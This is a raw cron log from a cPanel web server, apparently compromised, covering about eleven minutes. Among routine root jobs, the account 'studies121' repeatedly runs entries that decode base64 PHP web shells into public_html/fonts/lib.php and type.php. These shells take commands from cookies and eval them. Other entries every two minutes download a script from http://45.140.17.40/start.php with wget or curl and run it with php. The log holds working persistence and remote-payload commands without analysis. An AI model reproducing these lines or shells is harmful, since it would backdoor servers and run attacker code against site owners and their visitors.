Feb 22 04:49:01 ip-184-168-122-23 CROND[9578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:49:01 ip-184-168-122-23 CROND[9579]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9930]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9939]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:50:01 ip-184-168-122-23 CROND[9941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:50:01 ip-184-168-122-23 CROND[9946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:50:01 ip-184-168-122-23 CROND[9948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:51:01 ip-184-168-122-23 CROND[10348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:51:01 ip-184-168-122-23 CROND[10349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:51:01 ip-184-168-122-23 CROND[10350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:51:01 ip-184-168-122-23 CROND[10350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:51:01 ip-184-168-122-23 CROND[10350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:51:01 ip-184-168-122-23 CROND[10351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:52:01 ip-184-168-122-23 CROND[10684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:52:01 ip-184-168-122-23 CROND[10687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:52:01 ip-184-168-122-23 CROND[10688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:52:01 ip-184-168-122-23 CROND[10689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:52:01 ip-184-168-122-23 CROND[10686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:53:01 ip-184-168-122-23 CROND[11069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:53:01 ip-184-168-122-23 CROND[11072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:53:01 ip-184-168-122-23 CROND[11071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:53:01 ip-184-168-122-23 CROND[11073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:54:01 ip-184-168-122-23 CROND[11399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:54:01 ip-184-168-122-23 CROND[11402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:54:01 ip-184-168-122-23 CROND[11403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:54:01 ip-184-168-122-23 CROND[11404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:54:01 ip-184-168-122-23 CROND[11401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:55:01 ip-184-168-122-23 CROND[11738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:55:01 ip-184-168-122-23 CROND[11739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:55:02 ip-184-168-122-23 CROND[11742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:55:02 ip-184-168-122-23 CROND[11743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:55:02 ip-184-168-122-23 CROND[11744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:55:02 ip-184-168-122-23 CROND[11746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:56:01 ip-184-168-122-23 CROND[12106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:56:01 ip-184-168-122-23 CROND[12108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:56:01 ip-184-168-122-23 CROND[12109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:56:01 ip-184-168-122-23 CROND[12112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:56:01 ip-184-168-122-23 CROND[12110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:57:01 ip-184-168-122-23 CROND[12425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:57:01 ip-184-168-122-23 CROND[12430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:57:01 ip-184-168-122-23 CROND[12428]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Feb 22 04:57:01 ip-184-168-122-23 CROND[12429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:57:01 ip-184-168-122-23 CROND[12431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:57:56 ip-184-168-122-23 crontab[12853]: (root) LIST (root)
Feb 22 04:57:56 ip-184-168-122-23 crontab[12855]: (root) LIST (root)
Feb 22 04:58:01 ip-184-168-122-23 CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:58:01 ip-184-168-122-23 CROND[12987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:58:01 ip-184-168-122-23 CROND[12988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:58:01 ip-184-168-122-23 CROND[12991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:58:01 ip-184-168-122-23 CROND[12992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:58:02 ip-184-168-122-23 crontab[13011]: (root) LIST (root)
Feb 22 04:59:01 ip-184-168-122-23 CROND[13850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:59:01 ip-184-168-122-23 CROND[13851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:59:01 ip-184-168-122-23 CROND[13852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:59:01 ip-184-168-122-23 CROND[13853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:00:01 ip-184-168-122-23 CROND[14236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:00:01 ip-184-168-122-23 CROND[14238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:00:01 ip-184-168-122-23 CROND[14240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:00:01 ip-184-168-122-23 CROND[14239]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:00:01 ip-184-168-122-23 CROND[14241]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 05:00:01 ip-184-168-122-23 CROND[14242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:00:01 ip-184-168-122-23 CROND[14243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
